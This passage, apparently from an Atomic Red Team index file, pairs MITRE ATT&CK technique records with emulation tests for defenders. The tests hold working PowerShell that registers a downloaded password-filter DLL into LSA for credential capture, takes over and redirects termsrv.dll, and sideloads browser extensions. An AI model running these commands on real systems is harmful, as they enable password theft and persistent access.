        through Discovery, and Lateral Movement."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Containers
      x_mitre_version: '2.3'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Container: Container Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
      created: '2017-05-31T21:30:46.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053
        external_id: T1053
      - source_name: ProofPoint Serpent
        description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New
          Backdoor Targets French Entities with Unique Attack Chain. Retrieved April
          11, 2022.
        url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
      - source_name: TechNet Task Scheduler Security
        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
          June 8, 2016.
        url: https://technet.microsoft.com/en-us/library/cc785125.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1556.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
      type: attack-pattern
      created: '2020-02-11T19:05:45.829Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.002
        url: https://attack.mitre.org/techniques/T1556/002
      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
        description: Fuller, R. (2013, September 11). Stealing passwords every time
          they change. Retrieved November 21, 2017.
        source_name: Carnal Ownage Password Filters Sept 2013
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Modify Authentication Process: Password Filter DLL'
      description: "Adversaries may register malicious password filter dynamic link
        libraries (DLLs) into the authentication process to acquire user credentials
        as they are validated. \n\nWindows password filters are password policy enforcement
        mechanisms for both domain and local accounts. Filters are implemented as
        DLLs containing a method to validate potential passwords against password
        policies. Filter DLLs can be positioned on local computers for local accounts
        and/or domain controllers for domain accounts. Before registering new passwords
        in the Security Accounts Manager (SAM), the Local Security Authority (LSA)
        requests validation from each registered filter. Any potential changes cannot
        take effect until every registered filter acknowledges validation. \n\nAdversaries
        can register malicious password filters to harvest credentials from local
        computers and/or entire domains. To perform proper validation, filters must
        receive plain-text credentials from the LSA. A malicious password filter would
        receive these plain-text credentials every time a password request is made.(Citation:
        Carnal Ownage Password Filters Sept 2013)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.

        Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1556.002
    atomic_tests:
    - name: Install and Register Password Filter DLL
      auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c
      description: "Uses PowerShell to install and register a password filter DLL.
        Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource
        is in src folder. \nThis does require a reboot to see the filter loaded into
        lsass.exe. \nIt does require Administrative privileges to import the clean
        registry values back into LSA, it is possible you may have to manually do
        this after for cleanup.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Path to DLL to be installed and registered
          type: path
          default: PathToAtomicsFolder\T1556.002\bin
        dll_name:
          description: Name of the Password Filter
          type: string
          default: AtomicRedTeamPWFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location
          (#{dll_path}\#{dll_name})

          '
        prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}"
      executor:
        command: |
          reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
          $notificationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
        cleanup_command: |
          reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          remove-item C:\Windows\System32\#{dll_name}
        name: powershell
        elevation_required: true
    - name: Install Additional Authentication Packages
      auto_generated_guid: 91580da6-bc6e-431b-8b88-ac77180005f2
      description: "lsass.exe loads all DLLs specified by the Authentication Packages
        REG_MULTI_SZ value.\nUses PowerShell to install and register a password filter
        DLL. Requires a reboot and administrative privileges.\nThe binary in bin is
        https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource
        is in src folder. \nThis does require a reboot to see the filter loaded into
        lsass.exe. \nIt does require Administrative privileges to import the clean
        registry values back into LSA, it is possible you may have to manually do
        this after for cleanup.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Path to DLL to be installed and registered as additional authentication
            package
          type: path
          default: PathToAtomicsFolder\T1556.002\bin
        dll_name:
          description: Name of the Password Filter
          type: string
          default: AtomicRedTeamPWFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location
          (#{dll_path}\#{dll_name})

          '
        prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}"
      executor:
        command: |
          reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages")
          $AuthenticationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues
        cleanup_command: |
          reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          remove-item C:\Windows\System32\#{dll_name}
        name: powershell
        elevation_required: true
  T1505.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8
      created: '2022-03-28T15:34:44.590Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1505.005
        url: https://attack.mitre.org/techniques/T1505/005
      - source_name: James TermServ DLL
        url: https://twitter.com/james_inthe_box/status/1150495335812177920
        description: James. (2019, July 14). @James_inthe_box. Retrieved March 28,
          2022.
      - source_name: Microsoft System Services Fundamentals
        url: https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx
        description: Microsoft. (2018, February 17). Windows System Services Fundamentals.
          Retrieved March 28, 2022.
      - source_name: Microsoft Remote Desktop Services
        url: https://docs.microsoft.com/windows/win32/termserv/about-terminal-services
        description: Microsoft. (2019, August 23). About Remote Desktop Services.
          Retrieved March 28, 2022.
      - source_name: RDPWrap Github
        url: https://github.com/stascorp/rdpwrap
        description: Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M.
          Retrieved March 28, 2022.
      - source_name: Windows OS Hub RDP
        url: http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/
        description: Windows OS Hub. (2021, November 10). How to Allow Multiple RDP
          Sessions in Windows 10 and 11?. Retrieved March 28, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)

        [Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a "generic" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\System32\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`.

        Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Server Software Component: Terminal Services DLL'
      x_mitre_detection: |-
        Monitor for changes to Registry keys associated with <code>ServiceDll</code> and other subkey values under <code>HKLM\System\CurrentControlSet\services\TermService\Parameters\</code>.

        Monitor unexpected changes and/or interactions with <code>termsrv.dll</code>, which is typically stored in <code>%SystemRoot%\System32\</code>.

        Monitor commands as well as  processes and arguments for potential adversary actions to modify Registry values (ex: <code>reg.exe</code>) or modify/replace the legitimate <code>termsrv.dll</code>.

        Monitor module loads by the Terminal Services process (ex: <code>svchost.exe -k termsvcs</code>) for unexpected DLLs (the default is <code>%SystemRoot%\System32\termsrv.dll</code>, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1505.005
    atomic_tests:
    - name: Simulate Patching termsrv.dll
      auto_generated_guid: 0b2eadeb-4a64-4449-9d43-3d999f4a317b
      description: |
        Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards.
        Before we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions.
      supported_platforms:
      - windows
      executor:
        elevation_required: true
        command: |
          $termsrvDll = "C:\Windows\System32\termsrv.dll"

          $ACL = Get-Acl $termsrvDll
          $permission = "Administrators","FullControl","Allow"
          $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
          $ACL.SetAccessRule($accessRule)
          Set-Acl -Path $termsrvDll -AclObject $ACL

          Copy-Item -Path "C:\Windows\System32\termsrv.dll" -Destination "C:\Windows\System32\termsrv_backup.dll" -ErrorAction Ignore
          Add-Content -Path "C:\Windows\System32\termsrv.dll" -Value "`n" -NoNewline -ErrorAction Ignore
          Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore
        cleanup_command: 'Move-Item -Path "C:\Windows\System32\termsrv_backup.dll"
          -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Modify Terminal Services DLL Path
      auto_generated_guid: 18136e38-0530-49b2-b309-eed173787471
      description: This atomic test simulates the modification of the ServiceDll value
        in HKLM\System\CurrentControlSet\services\TermService\Parameters. This technique
        may be leveraged by adversaries to establish persistence by loading a patched
        version of the DLL containing malicious code.
      supported_platforms:
      - windows
      executor:
        elevation_required: true
        command: |-
          $termsrvDll = "C:\Windows\System32\termsrv.dll"

          $ACL = Get-Acl $termsrvDll
          $permission = "Administrators","FullControl","Allow"
          $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
          $ACL.SetAccessRule($accessRule)
          Set-Acl -Path $termsrvDll -AclObject $ACL

          Copy-Item -Path $termsrvDll -Destination "$HOME\AtomicTest.dll"

          $newServiceDll = "$HOME\AtomicTest.dll"

          $registryPath = "HKLM:\System\CurrentControlSet\services\TermService\Parameters"

          # Check if the registry key exists
          if (Test-Path -Path $registryPath) {
              # Modify the ServiceDll value in the registry
              Set-ItemProperty -Path $registryPath -Name "ServiceDll" -Value $newServiceDll
              Write-Host "ServiceDll value in the registry has been updated to: $newServiceDll"
          } else {
              Write-Host "Registry key not found. Make sure the 'TermService\Parameters' key exists."
          }
        cleanup_command: Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\services\TermService\Parameters"
          -Name "ServiceDll" -Value "C:\Windows\System32\termsrv.dll"
        name: powershell
  T1176:
    technique:
      modified: '2024-04-18T23:22:37.874Z'
      name: Browser Extensions
      description: "Adversaries may abuse Internet browser extensions to establish
        persistent access to victim systems. Browser extensions or plugins are small
        programs that can add functionality and customize aspects of Internet browsers.
        They can be installed directly or through a browser's app store and generally
        have access and permissions to everything that the browser can access.(Citation:
        Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious
        extensions can be installed into a browser through malicious app store downloads
        masquerading as legitimate extensions, through social engineering, or by an
        adversary that has already compromised a system. Security can be limited on
        browser app stores so it may not be difficult for malicious extensions to
        defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending
        on the browser, adversaries may also manipulate an extension's update url
        to install updates from an adversary controlled server or manipulate the mobile
        configuration file to silently install additional extensions.\n\nPrevious
        to macOS 11, adversaries could silently install browser extensions via the
        command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code>
        files. In macOS 11+, the use of the <code>profiles</code> tool can no longer
        install configuration profiles, however <code>.mobileconfig</code> files can
        be planted and installed with user interaction.(Citation: xorrior chrome extensions
        macOS)\n\nOnce the extension is installed, it can browse to websites in the
        background, steal all information that a user enters into a browser (including
        credentials), and be used as an installer for a RAT for persistence.(Citation:
        Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation:
        Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere
        have also been instances of botnets using a persistent backdoor through malicious
        Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation:
        Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also
        use browser extensions to modify browser permissions and components, privacy
        settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation:
        Browers FriarFox)(Citation: Browser Adrozek) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Chris Ross @xorrior
      - Justin Warner, ICEBRG
      - Manikantan Srinivasan, NEC Corporation India
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.

        Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.

        On macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8
      created: '2018-01-16T16:13:52.465Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1176
        external_id: T1176
      - source_name: Chrome Extension Crypto Miner
        description: Brinkmann, M. (2017, September 19). First Chrome extension with
          JavaScript Crypto Miner detected. Retrieved November 16, 2017.
        url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
      - source_name: xorrior chrome extensions macOS
        description: Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved
          April 27, 2021.
        url: https://www.xorrior.com/No-Place-Like-Chrome/
      - source_name: Chrome Extensions Definition
        description: Chrome. (n.d.). What are Extensions?. Retrieved November 16,
          2017.
        url: https://developer.chrome.com/extensions
      - source_name: ICEBRG Chrome Extensions
        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
          BUSINESSES. Retrieved January 17, 2018.
        url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
      - source_name: Malicious Chrome Extension Numbers
        description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three
          Years Fighting Malicious Extensions. Retrieved November 17, 2017.
        url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
      - source_name: Chrome Extension C2 Malware
        description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might
          get hacked by a Chrome extension. Retrieved November 22, 2017.'
        url: https://kjaer.io/extension-malware/
      - source_name: Catch All Chrome Extension
        description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension
          Steals All Posted Data. Retrieved November 16, 2017.
        url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
      - source_name: Banker Google Chrome Extension Steals Creds
        description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting.
          Retrieved November 18, 2017.
        url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
      - source_name: Browser Adrozek
        description: Microsoft Threat Intelligence. (2020, December 10). Widespread
          malware campaign seeks to silently inject ads into search results, affects
          multiple browsers. Retrieved February 26, 2024.
        url: https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/
      - source_name: Browers FriarFox
        description: Raggi, Michael. Proofpoint Threat Research Team. (2021, February
          25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail
          Accounts of Global Tibetan Organizations. Retrieved February 26, 2024.
        url: https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global
      - source_name: Stantinko Botnet
        description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware
          campaign operating covertly since 2012. Retrieved November 16, 2017.'
        url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
      - source_name: Wikipedia Browser Extension
        description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January
          11, 2018.
        url: https://en.wikipedia.org/wiki/Browser_extension
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1176
    atomic_tests:
    - name: Chrome/Chromium (Developer Mode)
      auto_generated_guid: 3ecd790d-2617-4abf-9a8c-4e8d47da9ee1
      description: Turn on Chrome/Chromium developer mode and Load Extension found
        in the src directory
      supported_platforms:
      - linux
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to [chrome://extensions](chrome://extensions) and
          tick 'Developer Mode'.

          2. Click 'Load unpacked extension...' and navigate to
          [Browser_Extension](../t1176/src/)

          3. Click 'Select'
        name: manual
    - name: Chrome/Chromium (Chrome Web Store)
      auto_generated_guid: 4c83940d-8ca5-4bb2-8100-f46dc914bc3f
      description: Install the "Minimum Viable Malicious Extension" Chrome extension
      supported_platforms:
      - linux
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend
          in Chrome

          2. Click 'Add to Chrome'
        name: manual
    - name: Firefox
      auto_generated_guid: cb790029-17e6-4c43-b96f-002ce5f10938
      description: 'Create a file called test.wma, with the duration of 30 seconds

        '
      supported_platforms:
      - linux
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to [about:debugging](about:debugging) and
          click "Load Temporary Add-on"

          2. Navigate to [manifest.json](./src/manifest.json)

          3. Then click 'Open'
        name: manual
    - name: Edge Chromium Addon - VPN
      auto_generated_guid: 3d456e2b-a7db-4af8-b5b3-720e7c4d9da5
      description: 'Adversaries may use VPN extensions in an attempt to hide traffic
        sent from a compromised host. This will install one (of many) available VPNS
        in the Edge add-on store.

        '
      supported_platforms:
      - windows
      - macos
      executor:
        steps: |
          1. Navigate to https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj
          in Edge Chromium

          2. Click 'Get'
        name: manual
    - name: Google Chrome Load Unpacked Extension With Command Line
      auto_generated_guid: 7a714703-9f6b-461c-b06d-e6aeac650f27
      description: |-
        This test loads an unpacked extension in Google Chrome with the `--load-extension` parameter. This technique was previously used by the Grandoreiro malware to load a malicious extension that would capture the browsing history, steal cookies and other user information. Other malwares also leverage this technique to hijack searches, steal passwords, inject ads, and more.

        References:
        https://attack.mitre.org/techniques/T1176/
        https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/
      supported_platforms:
      - windows
      input_arguments:
        working_dir:
          description: Working directory where the files will be downloaded and extracted
          type: string
          default: "$env:TEMP"
      executor:
        command: |2-

          # Chromium
          $chromium =  "https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip"

          # uBlock Origin Lite to test side-loading
          $extension = "https://github.com/gorhill/uBlock/releases/download/uBOLite_0.1.23.6055/uBOLite_0.1.23.6055.chromium.mv3.zip"

          Set-Location "#{working_dir}"

          Set-Variable ProgressPreference SilentlyContinue
          Invoke-WebRequest -URI $chromium -OutFile "#{working_dir}\chrome.zip"
          Invoke-WebRequest -URI $extension -OutFile "#{working_dir}\extension.zip"


          Expand-Archive chrome.zip -DestinationPath "#{working_dir}" -Force
          Expand-Archive extension.zip -Force

          Start-Process .\chrome-win\chrome.exe --load-extension="#{working_dir}\extension\" -PassThru
        cleanup_command: |-
          Set-Location "#{working_dir}"
          Stop-Process -Name chrome -Force
          Remove-Item .\chrome.zip, .\chrome-win, .\extension, .\extension.zip -Recurse -Force
          Set-Variable ProgressPreference Continue
        name: powershell
        elevation_required: true
  T1137.005:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Microsoft Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44
      type: attack-pattern
      created: '2019-11-07T20:00:25.560Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1137.005
        url: https://attack.mitre.org/techniques/T1137/005
      - source_name: SilentBreak Outlook Rules
        url: https://silentbreaksecurity.com/malicious-outlook-rules/
        description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved
          February 4, 2019.
      - source_name: Microsoft Detect Outlook Forms
        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: Pfammatter - Hidden Inbox Rules
        url: https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
        description: Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in
          Microsoft Exchange. Retrieved October 12, 2021.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: Outlook Rules
      description: |-
        Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

        Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1546.011:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
      type: attack-pattern
      created: '2020-01-24T14:56:24.231Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.011
        url: https://attack.mitre.org/techniques/T1546/011
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - source_name: FireEye Application Shimming
